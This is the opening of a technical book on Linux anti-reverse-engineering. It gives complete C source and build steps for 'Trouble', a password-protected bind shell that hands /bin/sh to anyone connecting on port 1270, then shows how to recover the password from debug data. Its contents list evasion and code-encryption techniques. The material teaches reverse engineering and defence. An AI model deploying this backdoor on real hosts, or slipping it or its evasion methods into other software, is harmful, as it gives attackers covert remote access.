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You are on page 1/ 248

Programming Linux Anti-Reversing

Techniques
Jacob Baines
This book is for sale at http://leanpub.com/anti-reverse-engineering-linux
This version was published on 2016-12-20

This is a Leanpub book. Leanpub empowers authors and publishers with the Lean
Publishing process. Lean Publishing is the act of publishing an in-progress ebook
using lightweight tools and many iterations to get reader feedback, pivot until you
have the right book and build traction once you do.
2016 Jacob Baines

43.953333, -69.052500
Everythings Not Lost

Contents
Preface . . . . . . . . . . . . . .
Why Read This Book? . . . .
Topics Not Covered . . . . .
Prerequisites . . . . . . . . .
Code and Command Output

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1
1
1
2
2

Chapter 1: Introductions
Introducing Trouble
Using CMake . . . . .
The Code . . . . . . .
Compiling . . . . . .
Executing . . . . . . .
Accessing the Shell .

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3
3
3
4
7
9
10

Chapter 2: Compiler Options . . . . . . . . . . . . . . . .

-g . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Recovering the Bind Shell Password with Hexdump
Recovering the Bind Shell Password with GDB . . .
The Debugging Information in IDA . . . . . . . . .
Removing the Debugging Information . . . . . . .
Case Study: XOR DDOS . . . . . . . . . . . . . . .
-s . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SYMTAB vs. DYNSYM . . . . . . . . . . . . . . . .
Finding the Bind Shell Password Using .symtab . .
Case Study: The FILE Symbol . . . . . . . . . . . .
Examing Trouble After -s . . . . . . . . . . . . . .
-fvisibility . . . . . . . . . . . . . . . . . . . . . . . .

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11
12
17
19
20
21
23
24
25
29
29
30
32

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CONTENTS

Looking at FUNC symbols . . . . . . . . . . . . . . . .

Hiding FUNC symbols . . . . . . . . . . . . . . . . . .
-O . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Corrected Block Tiny Encryption Algorithm (XXTEA) .
-Os . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
-O3 . . . . . . . . . . . . . . . . . . . . . . . . . . . .
-funroll-loops . . . . . . . . . . . . . . . . . . . . . . .
-static . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Resolving Functions at Runtime . . . . . . . . . . . . .
ltrace . . . . . . . . . . . . . . . . . . . . . . . . . . .
LD_PRELOAD . . . . . . . . . . . . . . . . . . . . . .
Using musl . . . . . . . . . . . . . . . . . . . . . . . .
Chapter 3: File Format Hacks . . . . . .
The Strip Utility . . . . . . . . . . .
Removing the Section Headers Table
Little Endian or Big Endian? . . . .
The Sections Are a Lie . . . . . . . .
Flipping the Executable Bit . . . .
Lying with .init . . . . . . . . . .
Hiding the Entry Point . . . . . .
Mixing the Symbols . . . . . . . . .

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32
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36
37
43
45
48
52
52
55
56
59

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64
64
68
78
84
84
97
107
118

Chapter 4: Fighting Off String Analysis . . . . . . . . . . .

Code Reorganization . . . . . . . . . . . . . . . . . . . .
Stack Strings . . . . . . . . . . . . . . . . . . . . . . . .
XOR Stack String . . . . . . . . . . . . . . . . . . . . .
Function Encryption . . . . . . . . . . . . . . . . . . . .
Computing the Functions Size Using a Linker Script .
Decryption Logic . . . . . . . . . . . . . . . . . . . .
Encryption Logic . . . . . . . . . . . . . . . . . . . .
Creating a Cryptor . . . . . . . . . . . . . . . . . . . . .
Implementing the Cryptor . . . . . . . . . . . . . . .
Analyzing the Cryptor . . . . . . . . . . . . . . . . .

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129
129
130
135
141
141
147
154
162
163
168

Chapter 5: Obstructing Code Flow Analysis . . . . . . . . . . . . . . . . .

174

CONTENTS

Indirect Function Calls . . . .

Signals . . . . . . . . . . . . .
Early Return . . . . . . . . . .
Jump Over an Invalid Byte . .
Jump! Jump! . . . . . . . . . .
Always Follow the Conditional
Overlapping Instructions . . .

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174
179
183
189
193
195
198

Chapter 6: Evading the Debugger .

Trace Me . . . . . . . . . . . . .
Trapping the Debugger . . . . .
Becoming Attached . . . . . . .
/proc/self/status . . . . . . . . .
madvise . . . . . . . . . . . . . .
prctl . . . . . . . . . . . . . . . .
Detection Before main() . . . . .
Computing Function Checksums

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203
203
206
212
215
220
228
232
233

Conclusion: All That We Fall For . . . . . . . . . . . . . . . . . . . . . . .

242

Preface
Why Read This Book?
There are many articles and books that talk about anti-reverse engineering techniques and how to break them. However, the writing is often limited to small code
snippets or a screenshot of assembly in IDA. This book seeks to be different by
starting with a simple program youll update with anti-re techniques as you progress
through the book. This gives the reader the oppurtunity to compile and analyze the
binary on their own. I believe the emphasis on the proof of concept makes this book
unique.
Another unique aspect of this book is the emphasis on Linux anti-reverse engineering. Hackers have been writing about these techniques since the late 90s, but much
of what has been written is strewn across the internet. This book attempts to coalesce
a majority of techniques and present them to the reader as one unit.
Finally, a lot of the proof of concept code that currently exists on the internet is
bad. Not to be all judgemental, but some of it doesnt compile. Some simply crashes.
Others are written in confusing and bizarre manners. The code provided in this book
attempts to be clean, useful, and maintainable.

Topics Not Covered

There are some topics that have been intentionally left out of this book. I want to
state these topics up front so that the reader knows what they are getting.
1. Virtual Machine Detection: VM detection techniques are continuously in flux
as both sides seek to one up each other. A technique that works one week could
easily be broken the next. As such, Ive avoided this subject altogether.

Preface

2. Hiding Network Communication: Understanding a binarys network communication is a huge aid in reverse engineering. However, this topic is too deep
to do justice within these pages.
3. Rootkit Topics: Hiding and persistence are out of scope.
4. Anything Related to the Kernel: This book focuses only on userland binaries.

Prerequisites
The reader should have access to a Linux host using the x86-64 architecture. The
code for this book was written and tested on Ubuntu 16.04.
This book does discuss the use of IDA, but I understand that the high cost of IDA is
a non-starter for many. Therefore, Ive done my best to also include examples using
Radare2 and Hopper.
Finally, the code for this book is largely written in C with a small amount of x8664 assembler. Some of the tooling is written in C++. However, I do not expect the
reader to be well versed in any of these languages. Part of the beauty of having
complete code examples to work from is that it gives the author a chance to point
out any idiosyncrasies and provides the reader the oppurtunity to pull apart the code
on their own time.

Code and Command Output

All the code is available on Github: https://github.com/antire-book/antire_book. I
understand that the reader may not always be close to a computer or have access
to GitHub in order to browse the books code. As such, all of the code is also listed
within the book. I know some people dont like that, but since the code is essential
to this book I cant have the reader go without.
Also related to formatting, any output from a command line tool included in this
book will generally include all of the output. For example, when GDB starts it prints
out a lot of version, license, and help information. I wont cut any of that. I want the
reader to be able to match the output from their computer with what Ive listed in
the book. This largely aids in troubleshooting any issues the reader runs into.

Chapter 1: Introductions
Introducing Trouble
This book centers around the obfuscation of a bind shell called Trouble.

What is a bind shell?

Bind shell is a type of shell in which the target machine opens up a
communication port or a listener on the victim machine and waits for an
incoming connection. The attacker then connects to the victim machines
listener which then leads to code or command execution on the server.

The Trouble bind shell is used as an example, not because it is unique or interesting,
but because it is small and simple. It also has a property that should be interesting
to a reverse engineer: it requires a password to access the shell. All of the activity in
this book attempts to either hide or recover the shells password.

Using CMake
Youll be using CMake to compile Trouble. CMake is an open source Makefile
generation tool. Its useful for dependency checking and supports a simple syntax.
Dont worry if you arent familiar with CMake. Youll pick it as the book progresses.
CMake relies on CMakeList.txt files to generate Makefiles. For chapter one, youll
find Troubles CMakeList.txt in the chapt_1_introduction/trouble directory.

http://resources.infosecinstitute.com/icmp-reverse-shell/
https://cmake.org/

Chapter 1: Introductions

chap_1_introduction/trouble/CMakeLists.txt
project(trouble C)
cmake_minimum_required(VERSION 3.0)
# This will create a 32 byte "password" for the bind shell. This command
# is only run when "cmake" is run, so if you want to generate a new password
# then "cmake ..; make" should be run from the command line.
exec_program("/bin/sh"
${CMAKE_CURRENT_SOURCE_DIR}
ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'"
OUTPUT_VARIABLE random_password )
# Pass the random password into ${PROJECT_NAME} as a macro
add_definitions(-Dpassword="${random_password}")
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -g -std=gnu11")
add_executable(${PROJECT_NAME} src/trouble.c)
# After the build is successful, display the random password to the user
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E echo
"The bind shell password is:" ${random_password})

Not only will this file generate Troubles Makefile but it also generates the shells 32
byte password everytime it is executed. The password create using urandom with
the following command:
cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32

More will be expalined about using CMake file in the upcoming section about
compiling Trouble.

The Code
The code for the Trouble bind shell is located within the source directory. It is
comprised of a single file:

Chapter 1: Introductions

chap_1_introduction/trouble/trouble.c
#include
#include
#include
#include
#include
#include
#include
#include

<stdio.h>
<unistd.h>
<stdlib.h>
<string.h>
<stdbool.h>
<sys/types.h>
<sys/socket.h>
<netinet/in.h>

// the password to login to the shell

static const char s_password[] = password;
bool check_password(const char* p_password)
{
// validate the password
return memcmp(s_password, p_password, sizeof(s_password) - 1) != 0;
}
/**
* This implements a fairly simple bind shell. The server first requires a
* password before allowing access to the shell. The password is currently
* randomly generated each time 'cmake ..' is run. The server has no shutdown
* mechanism so it will run until killed.
*/
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
fprintf(stderr, "Failed to create the socket.");
return EXIT_FAILURE;
}
struct sockaddr_in bind_addr = {};
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind_addr.sin_port = htons(1270);

Chapter 1: Introductions
int bind_result = bind(sock, (struct sockaddr*) &bind_addr,
sizeof(bind_addr));
if (bind_result != 0)
{
perror("Bind call failed");
return EXIT_FAILURE;
}
int listen_result = listen(sock, 5);
if (listen_result != 0)
{
perror("Listen call failed");
return EXIT_FAILURE;
}
while (true)
{
int client_sock = accept(sock, NULL, NULL);
if (client_sock < 0)
{
perror("Accept call failed");
return EXIT_FAILURE;
}
int child_pid = fork();
if (child_pid == 0)
{
// read in the password
char password_input[sizeof(s_password)] = { 0 };
int read_result = read(client_sock, password_input,
sizeof(password_input));
if (read_result < (int)(sizeof(s_password) - 1))
{
close(client_sock);
return EXIT_FAILURE;
}
if (check_password(password_input))
{
close(client_sock);
return EXIT_FAILURE;
}

Chapter 1: Introductions

dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
char* empty[] = { NULL };
execve("/bin/sh", empty, empty);
close(client_sock);
return EXIT_SUCCESS;
}
close(client_sock);
}
}

The code in trouble.c creates a socket and binds to port 1270 before listening for
incoming connections. Once a connection is established the program forks and the
parent process returns back to listening for incoming connections. The child process
reads from the socket for the password. If the password is correct the program uses
execve to provide shell functionality.

Compiling
As previously mentioned, Trouble uses CMake for the build process. If you are using
Ubuntu, CMake is easy to install:
albino-lobster@ubuntu:~$ sudo apt-get install cmake

After CMake is installed, youll need to cd into the directory where chapter ones
version of Trouble exists. For me this command looks like this:
Finding the chapter one source
albino-lobster@ubuntu:~$ cd antire_book/chap_1_introduction/trouble/
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble$

Next youll need to create a directory to compile Trouble in. I typically make a
directory called build, but you can name it whatever youd like. After youve
created the build directory cd into it.

Chapter 1: Introductions

Create a build directory

albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble$ cd build

Now you need to run the cmake command. CMake will check that your system
has the appropriate dependencies installed and then generate the Makefile to build
Trouble. Note that we have to give CMake the path to our CMakeLists.txt file so the
command is cmake ..:
Using cmake ..
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ cmake ..
-- The C compiler identification is GNU 5.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_1_introduc\
tion/trouble/build

The final step in the build process is to execute make.

Using make
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ make
Scanning dependencies of target trouble
[ 50%] Building C object CMakeFiles/trouble.dir/src/trouble.c.o
[100%] Linking C executable trouble
The bind shell password is: OXIvZjl4FaUO17UpMUttRE5zn2lUUZqd
[100%] Built target trouble

A new binary named trouble should now exist in the build directory.
Knowing the bind shells password is of utmost importance to its use. As such, the
password is printed to screen every time the binary is generated. In the output above,

Chapter 1: Introductions

the shells password is OXIvZjl4FaUO17UpMUttRE5zn2lUUZqd. A new password

is only generated when cmake is run. Therefore, to force a new password to be
generated you have to run cmake ..; make.
Generating a new password
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ cmake ..; make
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_1_introduc\
tion/trouble/build
Scanning dependencies of target trouble
[ 50%] Building C object CMakeFiles/trouble.dir/src/trouble.c.o
[100%] Linking C executable trouble
The bind shell password is: TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl
[100%] Built target trouble

Executing
Executing Trouble is simple. It doesnt take any command line options and doesnt
require sudo. It should generally only fail if port 1270 is already in use. To run in the
foreground, simply execute ./trouble from the build directory.
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ ./trouble

The program will block the terminal while it runs. If that is a problem just run it in
the background using &.
Running Trouble in the background
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ ./trouble &
[1] 46890
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$

Chapter 1: Introductions

Accessing the Shell

To connect to Trouble I suggest that using netcat is the easiest option. Once you are
connected, input the password and then you should be able to issue shell commands.
If the wrong password is input then the connection will be severed. Follow the
example below.
Connecting to Trouble
albino-lobster@ubuntu:~$ nc 192.168.1.182 1270
TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl
pwd
/home/albino-lobster/antire_book/chap_1_introduction/trouble/build
ls -l
total 48
-rw-rw-r-- 1 albino-lobster albino-lobster 10544 Oct 18 17:07 CMakeCache.txt
drwxrwxr-x 5 albino-lobster albino-lobster 4096 Oct 18 17:22 CMakeFiles
-rw-rw-r-- 1 albino-lobster albino-lobster 4986 Oct 18 17:22 Makefile
-rw-rw-r-- 1 albino-lobster albino-lobster 1437 Oct 18 17:07 cmake_install.cmake
-rwxrwxr-x 1 albino-lobster albino-lobster 17488 Oct 18 17:22 trouble

Chapter 2: Compiler Options

The compiler options are often overlooked when talking about anti-reverse engineering. However, its essential that you understand how different options alter the final
binary. The compiler can be your worst enemy that gives away all of your secrets or
it could be your best friend as it strips away all unnecessary information.

Focusing on GCC
The code in this book expects GCC to be used as the compiler. That is not
to say that Clang or other compilers could not be used. They very well
could be. However, GCC is used since it was the de facto standard for so
many year.

If you are unfamiliar with CMake or GCC you might be wondering what are the
compiler options Im talking about. If you look back at the CMakeLists.txt file from
chapter one youll find this line:
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -g -std=gnu11")

These are the compiler options. GCC supports many such options and maintains
detailed documentation. The flags used in the chapter one version of Trouble are a
tiny subset of what is available.
In the compiler options above, all of the options that start with -W are warning
options that tell the compiler to check for specific types of programming mistakes.
The -g option instructs the compiler to include debugging information in the binary.
Finally, -std=gnu11 tells the compiler that the C code you are using expects the GNU
dialect of the C11 standard for the C programming . The GNU portion enables
extensions that were not part of the C11 standard.
https://gcc.gnu.org/onlinedocs/gcc/Option-Summary.html
https://gcc.gnu.org/onlinedocs/gcc/Warning-Options.html#Warning-Options
https://gcc.gnu.org/onlinedocs/gcc/Debugging-Options.html#Debugging-Options
https://gcc.gnu.org/onlinedocs/gcc/C-Dialect-Options.html#C-Dialect-Options

Chapter 2: Compiler Options

-g
As previously mentioned, you can instruct GCC to include debugging information
in your program by using the -g flag. To gain a better understanding of what I mean
by include debugging information use the command line utility readelf on Trouble.

readelf
readelf is a command line utility that understands the Executable and
Linkable Format (ELF). ELF is the standard format for Linux executables,
shared libraries, and core dumps. readelf can parse provided binaries and
display information about their formatting. readelf comes pre-installed on
Ubuntu 16.04.

readelf has a lot of command line options. One option, -S, will display the provided
binarys section headers.
Listing Troubles section headers
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf -S ./troub\
le
There are 36 section headers, starting at offset 0x3c38:
Section Headers:
[Nr] Name
Size
[ 0]
0000000000000000
[ 1] .interp
000000000000001c
[ 2] .note.ABI-tag
0000000000000020
[ 3] .note.gnu.build-i
0000000000000024
[ 4] .gnu.hash
0000000000000064
[ 5] .dynsym
0000000000000348

Type
EntSize
NULL
0000000000000000
PROGBITS
0000000000000000
NOTE
0000000000000000
NOTE
0000000000000000
GNU_HASH
0000000000000000
DYNSYM
0000000000000018

Address
Flags Link Info
0000000000000000
0
0
0000000000400238
A
0
0
0000000000400254
A
0
0
0000000000400274
A
0
0
0000000000400298
A
5
0
0000000000400300
A
6
1

https://en.wikipedia.org/wiki/Executable_and_Linkable_Format

Offset
Align
00000000
0
00000238
1
00000254
4
00000274
4
00000298
8
00000300
8

Chapter 2: Compiler Options

[ 6] .dynstr
000000000000015e
[ 7] .gnu.version
0000000000000046
[ 8] .gnu.version_r
0000000000000030
[ 9] .rela.dyn
0000000000000030
[10] .rela.plt
0000000000000180
[11] .init
000000000000001a
[12] .plt
0000000000000110
[13] .plt.got
0000000000000008
[14] .text
00000000000003c2
[15] .fini
0000000000000009
[16] .rodata
000000000000009d
[17] .eh_frame_hdr
000000000000003c
[18] .eh_frame
0000000000000114
[19] .init_array
0000000000000008
[20] .fini_array
0000000000000008
[21] .jcr
0000000000000008
[22] .dynamic
00000000000001d0
[23] .got
0000000000000008
[24] .got.plt
0000000000000098
[25] .data
0000000000000010
[26] .bss
0000000000000010
[27] .comment

STRTAB
0000000000000000
VERSYM
0000000000000002
VERNEED
0000000000000000
RELA
0000000000000018
RELA
0000000000000018
PROGBITS
0000000000000000
PROGBITS
0000000000000010
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
INIT_ARRAY
0000000000000000
FINI_ARRAY
0000000000000000
PROGBITS
0000000000000000
DYNAMIC
0000000000000010
PROGBITS
0000000000000008
PROGBITS
0000000000000008
PROGBITS
0000000000000000
NOBITS
0000000000000000
PROGBITS

0000000000400648
A
0
0
00000000004007a6
A
5
0
00000000004007f0
A
6
1
0000000000400820
A
5
0
0000000000400850
AI
5
24
00000000004009d0
AX
0
0
00000000004009f0
AX
0
0
0000000000400b00
AX
0
0
0000000000400b10
AX
0
0
0000000000400ed4
AX
0
0
0000000000400ee0
A
0
0
0000000000400f80
A
0
0
0000000000400fc0
A
0
0
0000000000601e10
WA
0
0
0000000000601e18
WA
0
0
0000000000601e20
WA
0
0
0000000000601e28
WA
6
0
0000000000601ff8
WA
0
0
0000000000602000
WA
0
0
0000000000602098
WA
0
0
00000000006020c0
WA
0
0
0000000000000000

00000648
1
000007a6
2
000007f0
8
00000820
8
00000850
8
000009d0
4
000009f0
16
00000b00
8
00000b10
16
00000ed4
4
00000ee0
32
00000f80
4
00000fc0
8
00001e10
8
00001e18
8
00001e20
8
00001e28
8
00001ff8
8
00002000
8
00002098
8
000020a8
32
000020a8

Chapter 2: Compiler Options

0000000000000034 0000000000000001 MS
0
0
1
[28] .debug_aranges
PROGBITS
0000000000000000 000020dc
0000000000000030 0000000000000000
0
0
1
[29] .debug_info
PROGBITS
0000000000000000 0000210c
00000000000005e0 0000000000000000
0
0
1
[30] .debug_abbrev
PROGBITS
0000000000000000 000026ec
0000000000000127 0000000000000000
0
0
1
[31] .debug_line
PROGBITS
0000000000000000 00002813
0000000000000192 0000000000000000
0
0
1
[32] .debug_str
PROGBITS
0000000000000000 000029a5
0000000000000593 0000000000000001 MS
0
0
1
[33] .shstrtab
STRTAB
0000000000000000 00003ae8
000000000000014c 0000000000000000
0
0
1
[34] .symtab
SYMTAB
0000000000000000 00002f38
0000000000000858 0000000000000018
35
55
8
[35] .strtab
STRTAB
0000000000000000 00003790
0000000000000358 0000000000000000
0
0
1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

Do you see the five sections, beginning at index 28, whose name starts with .debug_
in the output above? These sections contain the debugging information that you
requested by using the -g option. The debugging information is provided in the
DWARF debugging format.

DWARF
DWARF stands for Debugging With Attributed Record Formats and is
the default format GCC uses to store debugging information.

For this book, the most interesting .debug section is .debug_info. You can view the
contents of .debug_info by using the command line utility objdump.
http://dwarfstd.org/

Chapter 2: Compiler Options

objdump
objdump displays information about one or more object files. The options
control what particular information to display. This information is mostly
useful to programmers who are working on the compilation tools, as
opposed to programmers who just want their program to compile and
work.

To display the DWARF information in .debug_info use the dwarf=info flag with
objdump. Running this command generates a lot of output so this is one of the rare
occassions in which Ive trimmed the output to focus on specific information.
Using objdump to view .debug_info
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ objdump --dwarf=in\
fo ./trouble
./trouble:

file format elf64-x86-64

Contents of the .debug_info section:

Compilation Unit @ offset 0x0:
Length:
0x5dc (32-bit)
Version:
4
Abbrev Offset: 0x0
Pointer Size: 8
<0><b>: Abbrev Number: 1 (DW_TAG_compile_unit)
<c>
DW_AT_producer
: (indirect string, offset: 0xaf): GNU C11 5.4.0 20160609\
-mtune=generic -march=x86-64 -g -std=gnu11 -fstack-protector-strong
<10>
DW_AT_language
: 12
(ANSI C99)
<11>
DW_AT_name
: (indirect string, offset: 0x21d): /home/albino-lobster\
/antire_book/chap_2_compiler/trouble/src/trouble.c
<15>
DW_AT_comp_dir
: (indirect string, offset: 0x366): /home/albino-lobster\
/antire_book/chap_2_compiler/trouble/build
<19>
DW_AT_low_pc
: 0x400c06
<21>
DW_AT_high_pc
: 0x257
<29>
DW_AT_stmt_list
: 0x0
<1><5ba>: Abbrev Number: 21 (DW_TAG_variable)
<5bb>
DW_AT_name
: (indirect string, offset: 0x1aa): s_password
<5bf>
DW_AT_decl_file
: 1

man objdump

Chapter 2: Compiler Options

<5c0>
<5c1>
<5c5>

DW_AT_decl_line
DW_AT_type
DW_AT_location

: 11
: <0x5cf>
: 9 byte block: (DW_OP_addr: 400f00)

The .debug_info section contains useful information for the debugger but its also
useful for anyone attempting to attribute a binary to a specific actor. For example,
in the output above, you can see the full path of the source file (/home/albino-lobster/antire_book/chap_2_compiler/trouble/src/trouble.c), the full path of the compilation directory (/home/albino-lobster/antire_book/chap_2_compiler/trouble/build),
the version of C used (GNU C 5.4.0 20160609), and even the exact line number the
variable s_password was declared on (DW_AT_decl_line: 11).
That might seem like an absurd amount of information, but it can be really useful
when debugging. For example, consider this back trace generated with GDB.
Generating a backtrace in GDB
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ gdb ./trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble...done.
(gdb) run
Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trou\
ble
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b154b0 in __accept_nocancel () at ../sysdeps/unix/syscall-template.S:84
84
../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt

Chapter 2: Compiler Options

#0 0x00007ffff7b154b0 in __accept_nocancel () at ../sysdeps/unix/syscall-template.S:\

84
#1 0x0000000000400d36 in main (p_argc=1, p_argv=0x7fffffffdeb8) at /home/albino-lobs\
ter/antire_book/chap_2_compiler/trouble/src/trouble.c:59

Notice how the backtrace contains the parameter names p_argc and p_argv in
main()? These are the exact names used in Troubles source code. Also, the line
number where accept() is called in trouble.c is visible in the backtrace (line 59).
GDB can display this information thanks to the .debug_info section being present
in Trouble.
Because this information makes debugging so much easier almost every programmer
will use the -g option while writting their program. However, as youll see, its also
useful to reverse engineers.

Recovering the Bind Shell Password with Hexdump

In the previous section, you saw the line number s_password was declared on due
to the DWARF information in .debug_info. If you look at that output again you can
also see the address where s_password is stored.
s_password in objdump
<5bb>
<5bf>
<5c0>
<5c1>
<5c5>

DW_AT_name
DW_AT_decl_file
DW_AT_decl_line
DW_AT_type
DW_AT_location

:
:
:
:
:

(indirect string, offset: 0x1aa): s_password

1
11
<0x5cf>
9 byte block: (DW_OP_addr: 400f00)

s_password is stored at the virtual address 0x400f00. Convert the virtual address
into a file offset and you can extract the contents of s_password using hexdump.
To convert 0x400f00 into a file offset find the program header the address falls in.

Chapter 2: Compiler Options

Viewing Troubles program headers

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf -l ./troub\
le
Elf file type is EXEC (Executable file)
Entry point 0x400b10
There are 9 program headers, starting at offset 64
Program Headers:
Type
Offset
VirtAddr
PhysAddr
FileSiz
MemSiz
Flags Align
PHDR
0x0000000000000040 0x0000000000400040 0x0000000000400040
0x00000000000001f8 0x00000000000001f8 R E
8
INTERP
0x0000000000000238 0x0000000000400238 0x0000000000400238
0x000000000000001c 0x000000000000001c R
1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD
0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000010d4 0x00000000000010d4 R E
200000
LOAD
0x0000000000001e10 0x0000000000601e10 0x0000000000601e10
0x0000000000000298 0x00000000000002c0 RW
200000
DYNAMIC
0x0000000000001e28 0x0000000000601e28 0x0000000000601e28
0x00000000000001d0 0x00000000000001d0 RW
8
NOTE
0x0000000000000254 0x0000000000400254 0x0000000000400254
0x0000000000000044 0x0000000000000044 R
4
GNU_EH_FRAME
0x0000000000000f80 0x0000000000400f80 0x0000000000400f80
0x000000000000003c 0x000000000000003c R
4
GNU_STACK
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW
10
GNU_RELRO
0x0000000000001e10 0x0000000000601e10 0x0000000000601e10
0x00000000000001f0 0x00000000000001f0 R
1

The virtual address for s_password falls in the range for the first LOAD segment
which covers 0x400000 to 0x4010d4. The first LOAD segment starts at the file offset
of 0. Therefore, to calculate s_passwords offset into the file you just need to subtract
0x400000 from 0x400f00. Which means you should be able to find the bind shells
password at 0xf00. Trying displaying it using hexdump.

Chapter 2: Compiler Options

Printing s_password with hexdump

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ hexdump -C -s 0xf0\
0 -n 64 ./trouble
00000f00 54 47 4f 45 75 32 36 54 57 30 6b 31 62 39 49 65 |TGOEu26TW0k1b9Ie|
00000f10 58 6a 55 4a 62 54 31 47 66 43 52 30 6a 53 6e 6c |XjUJbT1GfCR0jSnl|
00000f20 00 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 |.Failed to creat|
00000f30 65 20 74 68 65 20 73 6f 63 6b 65 74 2e 00 42 69 |e the socket..Bi|
00000f40

Just like that, the password to Troubles shell is revealed.

Recovering the Bind Shell Password with GDB

The previous sections method for recovering the password wasnt compilicated, it
can be even easier to recover s_password using GDB.
Printing s_password using GDB
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ gdb ./trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble...done.
(gdb) start
Temporary breakpoint 1 at 0x400c3e: file /home/albino-lobster/antire_book/chap_2_comp\
iler/trouble/src/trouble.c, line 26.
Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trou\
ble

Chapter 2: Compiler Options

Temporary breakpoint 1, main (p_argc=1, p_argv=0x7fffffffdeb8) at /home/albino-lobste\

r/antire_book/chap_2_compiler/trouble/src/trouble.c:26
26
{
(gdb) print s_password
$1 = "TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl"
(gdb)

In the above output, Ive executed Trouble using GDB. GDB stops at the breakpoint at
the start of main(). I then use GDBs print function to display s_password. It doesnt
get much easier than that!

The Debugging Information in IDA

The debugging information isnt only useful for quickly discovering s_password.
Its also useful when viewing the disassembly in a disassembler like the Interactive
Disassembler (IDA). The debugging information helps propagate variable types and
names.
For example, consider this chunk of assembly near the call to check_password().
Debugging information in IDA
.text:0000000000400DBC loc_400DBC:
.text:0000000000400DBC
.text:0000000000400DC0
.text:0000000000400DC3
.text:0000000000400DC8
.text:0000000000400DCA
.text:0000000000400DCC
.text:0000000000400DCF
.text:0000000000400DD1
.text:0000000000400DD6
.text:0000000000400DDB

lea
mov
call
test
jz
mov
mov
call
mov
jmp

